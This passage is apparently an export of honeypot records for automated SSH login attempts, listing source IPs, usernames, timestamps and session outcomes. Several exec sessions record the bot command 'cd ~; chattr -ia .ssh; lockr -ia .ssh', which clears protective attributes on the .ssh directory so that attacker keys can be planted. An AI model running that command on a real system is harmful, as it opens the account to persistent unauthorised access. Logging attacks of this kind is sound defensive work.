  "exec_command": null,
  "started_at": "2026-08-26T21:28:42.356267+00:00",
  "ended_at": "2026-08-26T21:28:44.197918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c19a5103-796b-4ff7-a330-89361800f69a",
  "name": "shaded-plucky-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55378,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:28:40.640195+00:00",
  "ended_at": "2026-08-26T21:28:42.217016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fe4342f-6f8f-4c46-8bd5-98bbe654a4f2",
  "name": "freckled-hushed-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 58222,
  "username": "lenovo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:26:59.444044+00:00",
  "ended_at": "2026-08-26T21:27:01.598404+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2086
 },
 {
  "id": "48a31bb2-ec1a-46c5-b638-18320d4a9907",
  "name": "ashen-frosty-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 58234,
  "username": "lenovo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:26:47.690749+00:00",
  "ended_at": "2026-08-26T21:26:48.239020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f99f1be4-25d4-40a6-96dd-91685ca332ef",
  "name": "dappled-regal-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 58226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:26:46.608848+00:00",
  "ended_at": "2026-08-26T21:26:47.551213+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fec95c7-044b-4fc2-be60-59b63ff187be",
  "name": "vernal-peaty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 35232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:25:07.667501+00:00",
  "ended_at": "2026-08-26T21:25:09.073224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "a34f99c6-ef8a-4738-a80f-1445f80aeae4",
  "name": "blithe-cheerful-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:24:57.541715+00:00",
  "ended_at": "2026-08-26T21:24:58.075890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10e4f43c-540b-481e-82c1-34aae0133613",
  "name": "humble-hazel-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35242,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:24:56.584037+00:00",
  "ended_at": "2026-08-26T21:24:57.408958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbe14320-b328-4906-b218-12cf23fd2830",
  "name": "sunlit-clever-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55536,
  "username": "dbadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 66,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:23:14.941747+00:00",
  "ended_at": "2026-08-26T21:23:15.883585+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2065
 },
 {
  "id": "1a192ee1-abf6-41c7-a505-2612e0fb1554",
  "name": "frugal-jagged-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55556,
  "username": "dbadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:23:06.912477+00:00",
  "ended_at": "2026-08-26T21:23:08.749734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44bb4f4d-6c5b-49bb-898f-0d0ce8c6877a",
  "name": "dutiful-fearless-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55540,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:23:05.832278+00:00",
  "ended_at": "2026-08-26T21:23:06.777815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d52c553-63f2-4812-bec4-2a59e48b7714",
  "name": "leafy-boreal-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45218,
  "username": "tim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:21:11.571637+00:00",
  "ended_at": "2026-08-26T21:21:12.115800+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "6cf32ad0-9000-4f10-86cb-ac4defe9fb7f",
  "name": "ruddy-freckled-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45228,
  "username": "tim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:21:07.468394+00:00",
  "ended_at": "2026-08-26T21:21:08.864663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d4b3e79-ff4c-4107-927f-8d161ea1a89c",
  "name": "proud-pristine-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45220,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:21:06.565097+00:00",
  "ended_at": "2026-08-26T21:21:07.336303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a39205c-22a2-4fa3-b48f-0ba1dd2bbacc",
  "name": "golden-eager-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 40070,
  "username": "don",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 73,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:19:13.356498+00:00",
  "ended_at": "2026-08-26T21:19:13.890166+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2045
 },
 {
  "id": "7bc5b5d9-9ed6-4e61-afe1-2405b92838ae",
  "name": "stormy-slender-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40082,
  "username": "don",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:19:09.318757+00:00",
  "ended_at": "2026-08-26T21:19:10.552346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efc1fe1a-ecba-4701-9572-b9dadb957223",
  "name": "humble-solemn-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:19:08.204037+00:00",
  "ended_at": "2026-08-26T21:19:09.182372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b88c03f2-6d2f-4b7b-91eb-e35d680454ef",
  "name": "northern-sterling-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:14:44.730793+00:00",
  "ended_at": "2026-08-26T21:14:45.343936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73362dea-c90c-4f58-a277-db9665c8c86d",
  "name": "cobalt-tidal-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.51.208.158",
  "src_port": 33235,
  "username": "mars",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:35:02.320364+00:00",
  "ended_at": "2026-08-26T18:35:02.981268+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "9f7ea29e-a97c-47bf-a81f-9f6b795df851",
  "name": "coral-proud-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.51.208.158",
  "src_port": 33581,
  "username": "mars",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:34:52.000727+00:00",
  "ended_at": "2026-08-26T18:34:53.623738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb556659-bb51-4f82-92fa-65e4c4b7f56e",
  "name": "bold-faded-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.51.208.158",
  "src_port": 33421,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:34:50.071052+00:00",
  "ended_at": "2026-08-26T18:34:51.117014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5bbe61c-4330-4c76-b8b7-169e1a52688c",
  "name": "wistful-solemn-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:28:31.967852+00:00",
  "ended_at": "2026-08-26T18:28:33.184528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "bc1ef3cf-2924-44b2-b0fb-ead132920d0c",
  "name": "polar-merry-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:28:13.574057+00:00",
  "ended_at": "2026-08-26T18:28:14.948398+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09f10d26-f366-4625-90b4-771f78e35108",
  "name": "emerald-brisk-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58468,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:28:10.829227+00:00",
  "ended_at": "2026-08-26T18:28:12.475626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "489fe293-0c72-4ce4-ad63-285e100aebb5",
  "name": "primal-indigo-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 52828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:25:33.989776+00:00",
  "ended_at": "2026-08-26T18:25:35.452780+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bc269635-ae72-46f8-9337-a487cb8133e4",
  "name": "whispering-stoic-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 57998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:25:14.830408+00:00",
  "ended_at": "2026-08-26T18:25:16.407491+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d4d9fa5-5b5c-4ed7-a6cd-2538ffb0581c",
  "name": "hardy-feral-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:25:12.312131+00:00",
  "ended_at": "2026-08-26T18:25:13.746543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c527c33-e864-4482-b126-9d9487034a67",
  "name": "wandering-whispering-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 52410,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:22:37.007494+00:00",
  "ended_at": "2026-08-26T18:22:38.014476+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "0d8a66e0-7a34-4b77-9b41-f443fb2f8a57",
  "name": "grumpy-buoyant-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52436,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:22:19.279653+00:00",
  "ended_at": "2026-08-26T18:22:20.094250+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a516075-b9ed-448c-af21-346f771d8090",
  "name": "boreal-windswept-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:22:17.013903+00:00",
  "ended_at": "2026-08-26T18:22:18.229327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01030d1d-e31f-407f-81e3-04200798ba22",
  "name": "daring-humble-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56538,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:19:41.005370+00:00",
  "ended_at": "2026-08-26T18:19:42.106771+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "dcb15359-c9e0-423e-b78c-30142cac199a",
  "name": "crisp-tangled-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56544,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:22.732368+00:00",
  "ended_at": "2026-08-26T18:19:24.048729+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f796f2cf-3534-458c-980f-0f1062842947",
  "name": "curious-idle-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56542,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:20.723753+00:00",
  "ended_at": "2026-08-26T18:19:21.657196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33d09e0a-72d7-4661-aaad-ca12bd5e1b36",
  "name": "gnarled-slender-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 55992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:16:36.587288+00:00",
  "ended_at": "2026-08-26T18:16:38.154660+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "714074c5-548c-42df-977d-df64ce550f27",
  "name": "gnarled-prairie-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:16:18.446148+00:00",
  "ended_at": "2026-08-26T18:16:19.357700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c25956e3-4f93-4109-964f-0103e0c8e0d9",
  "name": "somber-hazel-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:16:16.589920+00:00",
  "ended_at": "2026-08-26T18:16:17.380428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c017946-ac04-4700-8400-03e439d05a6d",
  "name": "bold-humble-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 50998,
  "username": "support",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:13:39.636117+00:00",
  "ended_at": "2026-08-26T18:13:40.822236+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2292
 },
 {
  "id": "29630fab-0fae-4c7d-a0e1-b5a6f71dd95b",
  "name": "plush-ivory-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51008,
  "username": "support",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:18.689220+00:00",
  "ended_at": "2026-08-26T18:13:20.364230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "776ea109-4a88-4ae1-81e9-70dfa0e624f5",
  "name": "quiet-wooded-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51004,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:16.202700+00:00",
  "ended_at": "2026-08-26T18:13:17.619499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be48beab-5d11-4398-b754-4d558975a7c3",
  "name": "placid-northern-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37064,
  "username": "ian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:10:31.207276+00:00",
  "ended_at": "2026-08-26T18:10:32.850047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "36470671-aeef-41e6-bd61-748c58f71098",
  "name": "bashful-dewy-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56718,
  "username": "ian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:10:13.737009+00:00",
  "ended_at": "2026-08-26T18:10:14.656137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0500644f-b8b6-4dcf-bc10-1a1e50c2c6f1",
  "name": "misty-austere-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:10:11.237472+00:00",
  "ended_at": "2026-08-26T18:10:12.663230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88e82370-d6e4-49df-9fe7-07c4ee56db9c",
  "name": "lively-painted-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33744,
  "username": "andy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:07:35.477191+00:00",
  "ended_at": "2026-08-26T18:07:36.937886+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f6ed1092-fcb3-4329-93ff-9489f46d9d19",
  "name": "mellow-knotted-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33182,
  "username": "andy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:07:16.938588+00:00",
  "ended_at": "2026-08-26T18:07:18.452909+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4f06c8b-d8d1-40ae-bab2-e93874b4f282",
  "name": "salty-dewy-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33166,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:07:15.111233+00:00",
  "ended_at": "2026-08-26T18:07:15.892825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015510ba-cea4-469c-9467-beeb6085312d",
  "name": "mellow-cheerful-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 47128,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:04:40.564645+00:00",
  "ended_at": "2026-08-26T18:04:41.652112+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "511b06f5-672a-4dd2-89c4-b291ff1840c0",
  "name": "lucid-polar-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47156,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:21.192478+00:00",
  "ended_at": "2026-08-26T18:04:22.506236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b113dc6-1e1d-4675-8334-558a9e6810a3",
  "name": "pewter-lonesome-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47140,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:18.885455+00:00",
  "ended_at": "2026-08-26T18:04:20.097106+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67859af0-a50c-42d2-acee-a97ec9efad1f",
  "name": "bronzed-glassy-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 34416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:01:46.915015+00:00",
  "ended_at": "2026-08-26T18:01:48.495916+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "80eaffd2-7ffe-43fc-b5f0-a10260abfe0c",
  "name": "nautical-jagged-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35804,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:01:27.739730+00:00",
  "ended_at": "2026-08-26T18:01:29.320091+00:00",
